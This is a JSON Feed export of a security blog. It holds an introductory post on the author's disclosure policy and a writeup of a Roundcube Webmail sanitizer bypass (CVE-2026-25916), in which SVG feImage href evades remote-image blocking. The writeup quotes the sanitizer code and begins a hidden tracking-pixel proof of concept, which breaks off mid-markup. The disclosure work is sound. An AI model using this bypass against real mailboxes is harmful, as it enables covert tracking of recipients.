{"version":"https://jsonfeed.org/version/1.1","title":"NULL CATHEDRAL","home_page_url":"https://nullcathedral.com/","feed_url":"https://nullcathedral.com/feed.json","description":"Where nothing is sacred.","language":"en-us","favicon":"https://nullcathedral.com/favicon.svg","authors":[{"name":"_NULL"}],"items":[{"id":"https://nullcathedral.com/posts/2026-02-10-hello-world/","url":"https://nullcathedral.com/posts/2026-02-10-hello-world/","title":"Hello world","summary":"About this blog and the author behind it.","content_html":"\u003cp\u003eOh hi, you found my blog, welcome. Most of the bugs I find start with \u0026ldquo;I wonder if\u0026hellip;\u0026rdquo; or \u0026ldquo;What happens when\u0026hellip;\u0026rdquo;. This blog is a record of following those threads through real systems until something breaks or I run out of ideas. If that sounds like your kind of reading, it\u0026rsquo;s probably worth adding to your feed reader.\u003c/p\u003e\n\u003ch2 id=\"who-i-am\"\u003eWho I am\u003ca href=\"#who-i-am\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI go by NULLCATHEDRAL (sometimes _NULL).\u003c/p\u003e\n\u003cp\u003eI grew up sending \u003ccode\u003enet send\u003c/code\u003e messages across the network and checking if \u003ccode\u003e/install\u003c/code\u003e directories were left exposed on random sites. Spending hours in WPE Pro trying to figure out how to dupe items in obscure MMOs and writing game cheats to hook functions I didn\u0026rsquo;t fully understand. Modding game clients, running private game servers out of my bedroom. I learned more about networking and memory management trying to keep a private server stable and \u0026ldquo;cheat-proof\u0026rdquo; than I ever did in a classroom.\u003c/p\u003e\n\u003cp\u003eAt some point that tinkering turned into a career. I\u0026rsquo;ve worked as a penetration tester for most of it. The only part I don\u0026rsquo;t love is report writing, but that\u0026rsquo;s the deal.\u003c/p\u003e\n\u003cp\u003eThis blog is the other side of that: stuff I poke at on my own time because I got curious, not because someone\u0026rsquo;s paying me to. The bugs I like most hide in forgotten attack surface\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e and custom protocols with hard-coded or homebrew crypto. Most of the work is reading source code and commit logs. Understand how it\u0026rsquo;s supposed to work, then think about how it might not. Test it, be wrong, read more code, repeat. I\u0026rsquo;d rather be in the code than running scanners. Vendors don\u0026rsquo;t want to share their source, so half the time you end up engineering your way in just to start the actual research.\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e That part is sometimes more fun than the bugs themselves. Nothing for weeks, then 48 hours straight when something clicks. Sometimes the thread goes nowhere and I\u0026rsquo;ve spent a weekend staring at something that was never vulnerable in the first place.\u003c/p\u003e\n\u003ch3 id=\"on-disclosure\"\u003eOn disclosure\u003ca href=\"#on-disclosure\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eVendors get \u003ca href=\"/about/#disclosure-policy\"\u003e120 days\u003c/a\u003e to patch. Full technical details go up the day a fix drops. Anyone with a diff tool can figure out what changed anyway, and the window between \u0026ldquo;patch released\u0026rdquo; and \u0026ldquo;exploit in the wild\u0026rdquo; keeps shrinking. Withholding the writeup doesn\u0026rsquo;t protect anyone. It just means defenders have less context than attackers.\u003c/p\u003e\n\u003cp\u003eGood vendors make the process rewarding. Bad ones ghost you completely. But timing still matters. Dropping an exploit on Christmas Day when every sysadmin is offline isn\u0026rsquo;t disclosure, it\u0026rsquo;s a head start for attackers.\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e So I try to work with vendors to ensure patches and disclosures land on days where people can actually patch, this is a case-by-case thing.\u003c/p\u003e\n\u003ch3 id=\"the-blog\"\u003eThe blog\u003ca href=\"#the-blog\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eThe \u003ca href=\"/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/\"\u003eRoundcube post\u003c/a\u003e is what most posts here will look like. Found a bug, here\u0026rsquo;s how it works and how to fix it. A writeup without a PoC is just a story, for me at least.\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;ve got a few more writeups waiting on vendor patches. Before this blog they would usually end up in text files or not get written at all. Having a place to publish them is reason enough to keep it going. Subscribe via the \u003ca href=\"/feeds\"\u003efeeds\u003c/a\u003e to know when new posts go up, or find me in \u003ccode\u003e#nullcathedral\u003c/code\u003e on \u003ca href=\"https://libera.chat/\"\u003eLibera.Chat\u003c/a\u003e and any of the \u003ca href=\"/contact\"\u003econtact methods\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eOh, and if you already have me in your reader from the previous post, hello! Thanks for that.\u003c/p\u003e\n\u003cp\u003eIf you find this blog interesting, shoot me an email. I enjoy the interaction and I\u0026rsquo;d find it interesting to hear what you\u0026rsquo;re working on!\u003c/p\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eDebug endpoints left in production, deprecated API versions still routed, legacy admin panels, features the current dev team doesn\u0026rsquo;t even know exist. They survive because they\u0026rsquo;re not in anyone\u0026rsquo;s scope and scanners don\u0026rsquo;t know to look for them.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003ePulling application bits and binaries off a server through an arbitrary file read, decompiling .NET assemblies, that sort of stuff. Source-assisted testing helps me find the things that actually matter.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003e\u003ca href=\"https://doublepulsar.com/merry-christmas-day-have-a-mongodb-security-incident-9537f54289eb\"\u003eMongoBleed\u003c/a\u003e. An Elastic Security researcher dropped a working exploit for a decade-old MongoDB memory leak on Christmas Day. Over 200k instances on the internet exposed. Merry Christmas to every MongoDB admin on the planet.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"Oh hi, you found my blog, welcome. Most of the bugs I find start with “I wonder if…” or “What happens when…”. This blog is a record of following those threads through real systems until something breaks or I run out of ideas. If that sounds like your kind of reading, it’s probably worth adding to your feed reader.\nWho I am# I go by NULLCATHEDRAL (sometimes _NULL).\nI grew up sending net send messages across the network and checking if /install directories were left exposed on random sites. Spending hours in WPE Pro trying to figure out how to dupe items in obscure MMOs and writing game cheats to hook functions I didn’t fully understand. Modding game clients, running private game servers out of my bedroom. I learned more about networking and memory management trying to keep a private server stable and “cheat-proof” than I ever did in a classroom.\nAt some point that tinkering turned into a career. I’ve worked as a penetration tester for most of it. The only part I don’t love is report writing, but that’s the deal.\nThis blog is the other side of that: stuff I poke at on my own time because I got curious, not because someone’s paying me to. The bugs I like most hide in forgotten attack surface1 and custom protocols with hard-coded or homebrew crypto. Most of the work is reading source code and commit logs. Understand how it’s supposed to work, then think about how it might not. Test it, be wrong, read more code, repeat. I’d rather be in the code than running scanners. Vendors don’t want to share their source, so half the time you end up engineering your way in just to start the actual research.2 That part is sometimes more fun than the bugs themselves. Nothing for weeks, then 48 hours straight when something clicks. Sometimes the thread goes nowhere and I’ve spent a weekend staring at something that was never vulnerable in the first place.\nOn disclosure# Vendors get 120 days to patch. Full technical details go up the day a fix drops. Anyone with a diff tool can figure out what changed anyway, and the window between “patch released” and “exploit in the wild” keeps shrinking. Withholding the writeup doesn’t protect anyone. It just means defenders have less context than attackers.\nGood vendors make the process rewarding. Bad ones ghost you completely. But timing still matters. Dropping an exploit on Christmas Day when every sysadmin is offline isn’t disclosure, it’s a head start for attackers.3 So I try to work with vendors to ensure patches and disclosures land on days where people can actually patch, this is a case-by-case thing.\nThe blog# The Roundcube post is what most posts here will look like. Found a bug, here’s how it works and how to fix it. A writeup without a PoC is just a story, for me at least.\nI’ve got a few more writeups waiting on vendor patches. Before this blog they would usually end up in text files or not get written at all. Having a place to publish them is reason enough to keep it going. Subscribe via the feeds to know when new posts go up, or find me in #nullcathedral on Libera.Chat and any of the contact methods.\nOh, and if you already have me in your reader from the previous post, hello! Thanks for that.\nIf you find this blog interesting, shoot me an email. I enjoy the interaction and I’d find it interesting to hear what you’re working on!\nDebug endpoints left in production, deprecated API versions still routed, legacy admin panels, features the current dev team doesn’t even know exist. They survive because they’re not in anyone’s scope and scanners don’t know to look for them. ↩︎\nPulling application bits and binaries off a server through an arbitrary file read, decompiling .NET assemblies, that sort of stuff. Source-assisted testing helps me find the things that actually matter. ↩︎\nMongoBleed. An Elastic Security researcher dropped a working exploit for a decade-old MongoDB memory leak on Christmas Day. Over 200k instances on the internet exposed. Merry Christmas to every MongoDB admin on the planet. ↩︎\n","date_published":"2026-02-10T00:00:00Z","date_modified":"2026-02-10T00:00:00Z","tags":["meta"]},{"id":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","url":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","title":"Roundcube Webmail \u003c1.5.13 / \u003c1.6.13 allows attackers to force remote image loads via SVG feImage","summary":"Roundcube's HTML sanitizer doesn't treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens. (CVE-2026-25916)","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Roundcube\u0026rsquo;s \u003ccode\u003ercube_washtml\u003c/code\u003e sanitizer blocked external resources on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e, and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e, but not on \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. Its \u003ccode\u003ehref\u003c/code\u003e went through the wrong code path and got allowed through. Attackers could track email opens even when \u0026ldquo;Block remote images\u0026rdquo; was on. Fixed in 1.5.13 and 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube Webmail\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt; 1.5.13, 1.6.x \u0026lt; 1.6.13\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"background\"\u003eBackground\u003ca href=\"#background\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eWhen \u003ccode\u003eallow_remote\u003c/code\u003e is false, Roundcube\u0026rsquo;s sanitizer intercepts image-bearing attributes (\u003ccode\u003esrc\u003c/code\u003e on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003ehref\u003c/code\u003e on \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e) and runs them through \u003ccode\u003eis_image_attribute()\u003c/code\u003e. That function blocks external URLs.\u003c/p\u003e\n\u003cp\u003eSeparately, non-image URLs (like \u003ccode\u003e\u0026lt;a href\u0026gt;\u003c/code\u003e) go through \u003ccode\u003ewash_link()\u003c/code\u003e, which lets HTTP/HTTPS URLs through. That\u0026rsquo;s fine for links the user clicks on intentionally.\u003c/p\u003e\n\u003ch2 id=\"discovery\"\u003eDiscovery\u003ca href=\"#discovery\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI got bored during my christmas vacation and \u003ca href=\"https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12\"\u003ethis SVG-based XSS fix via the \u003ccode\u003eanimate\u003c/code\u003e tag\u003c/a\u003e appeared on my radar. One SVG bug usually means more.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e So I spent some time going through \u003ccode\u003ercube_washtml.php\u003c/code\u003e, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e stood out.\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e Its \u003ccode\u003ehref\u003c/code\u003e gets fetched on render, same as \u003ccode\u003e\u0026lt;img src\u0026gt;\u003c/code\u003e. But the sanitizer sends it through \u003ccode\u003ewash_link()\u003c/code\u003e instead of \u003ccode\u003eis_image_attribute()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo the \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t apply to it.\u003c/p\u003e\n\u003ch2 id=\"technical-details\"\u003eTechnical details\u003ca href=\"#technical-details\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eIn \u003ccode\u003ewash_attribs()\u003c/code\u003e, every attribute hits a chain of checks. The first one that matches wins:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L310-L313\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_uri\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"c1\"\u003e// blocks remote URLs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_link\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e        \u003cspan class=\"c1\"\u003e// allows http/https\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBefore the fix, \u003ccode\u003eis_image_attribute()\u003c/code\u003e looked like this:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L472-L481\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;background\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;color-profile\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;poster\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;video\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;src\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(img|image|source|input|video|audio)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;use\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;image\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003ehref\u003c/code\u003e attribute is only matched for \u003ccode\u003euse\u003c/code\u003e and \u003ccode\u003eimage\u003c/code\u003e. No \u003ccode\u003efeimage\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAnd \u003ccode\u003eis_link_attribute()\u003c/code\u003e is a catch-all\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L459-L462\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSo when the sanitizer encounters \u003ccode\u003e\u0026lt;feImage href=\u0026quot;https://...\u0026quot;\u0026gt;\u003c/code\u003e: \u003ccode\u003eis_image_attribute('feimage', 'href')\u003c/code\u003e returns false, \u003ccode\u003eis_link_attribute('feimage', 'href')\u003c/code\u003e returns true, and the URL goes through \u003ccode\u003ewash_link()\u003c/code\u003e which passes HTTP/HTTPS URLs straight through.\u003c/p\u003e\n\u003ch2 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAn invisible 1x1 SVG, positioned off-screen:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e \u003cspan class=\"na\"\u003eid\u003c/span\u003e\u003cspan 